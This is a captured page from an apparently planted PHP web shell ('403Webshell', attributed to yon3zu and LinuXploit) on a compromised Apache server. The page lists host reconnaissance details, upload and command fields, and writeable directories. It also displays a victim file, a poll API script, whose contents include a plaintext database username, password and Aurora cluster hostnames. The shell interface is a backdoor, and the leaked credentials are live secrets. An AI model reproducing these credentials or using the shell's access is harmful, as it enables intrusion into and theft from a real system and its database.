403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.201
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/public_html/bway/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/public_html/bway/includepoll.php
<?php
require_once __DIR__ . '/db/mysql_bootstrap.php';

header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET,POST,OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Pragma: no-cache');
header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT');
header('Content-Type: application/json;charset=utf-8');

$readDsn = 'mysql:host=amazonaurora.cluster-ro-cemzxojvmybt.us-east-1.rds.amazonaws.com;dbname=amazonrds;charset=utf8mb4';
$writeDsn = 'mysql:host=amazonaurora.cluster-cemzxojvmybt.us-east-1.rds.amazonaws.com;dbname=amazonrds;charset=utf8mb4';
$dbUser = 'admin';
$dbPass = 'xxatN6Lb8Kbwb9MiU1At';

$action = isset($_GET['action']) ? $_GET['action'] : '';
$pollid = isset($_GET['pollid']) ? intval($_GET['pollid']) : 0;

/**
 * Fetch poll data and return as associative array
 */
function fetchPoll(PDO $db, $pollid) {
    $stmt = $db->prepare("SELECT id, question,
        answer1, answer2, answer3, answer4, answer5, answer6,
        answer1_clicks, answer2_clicks, answer3_clicks, answer4_clicks, answer5_clicks, answer6_clicks
        FROM alandev.polls WHERE id = :pollid");
    $stmt->execute([':pollid' => $pollid]);
    return $stmt->fetch(PDO::FETCH_ASSOC);
}

if ($action === 'getPoll') {
    try {
        $readDb = new PDO($readDsn, $dbUser, $dbPass, mysqlPdoOptions([PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]));
        $poll = fetchPoll($readDb, $pollid);

        if (!$poll) {
            echo json_encode(['success' => false, 'message' => 'Poll not found.']);
        } else {
            echo json_encode(['success' => true, 'poll' => $poll]);
        }
    } catch (PDOException $e) {
        echo json_encode(['success' => false, 'message' => 'Database error.']);
    }

} elseif ($action === 'submitVote') {
    $answer = isset($_GET['answer']) ? intval($_GET['answer']) : 0;

    if ($pollid <= 0 || $answer < 1 || $answer > 6) {
        echo json_encode(['success' => false, 'message' => 'Invalid poll or answer.']);
        exit;
    }

    // Whitelist the column name (answer is validated 1-6)
    $allowedColumns = [
        1 => 'answer1_clicks',
        2 => 'answer2_clicks',
        3 => 'answer3_clicks',
        4 => 'answer4_clicks',
        5 => 'answer5_clicks',
        6 => 'answer6_clicks',
    ];
    $answerCol = $allowedColumns[$answer];

    try {
        $writeDb = new PDO($writeDsn, $dbUser, $dbPass, mysqlPdoOptions([PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]));

        $stmt = $writeDb->prepare("UPDATE alandev.polls SET {$answerCol} = {$answerCol} + 1 WHERE id = :pollid");
        $stmt->execute([':pollid' => $pollid]);

        // Read from write DB to see fresh data
        $poll = fetchPoll($writeDb, $pollid);

        if (!$poll) {
            echo json_encode(['success' => false, 'message' => 'Poll not found after update.']);
        } else {
            echo json_encode(['success' => true, 'poll' => $poll]);
        }
    } catch (PDOException $e) {
        echo json_encode(['success' => false, 'message' => 'Database error.']);
    }

} else {
    echo json_encode(['success' => false, 'message' => 'No valid action.']);
}

Youez - 2016 - github.com/yon3zu
LinuXploit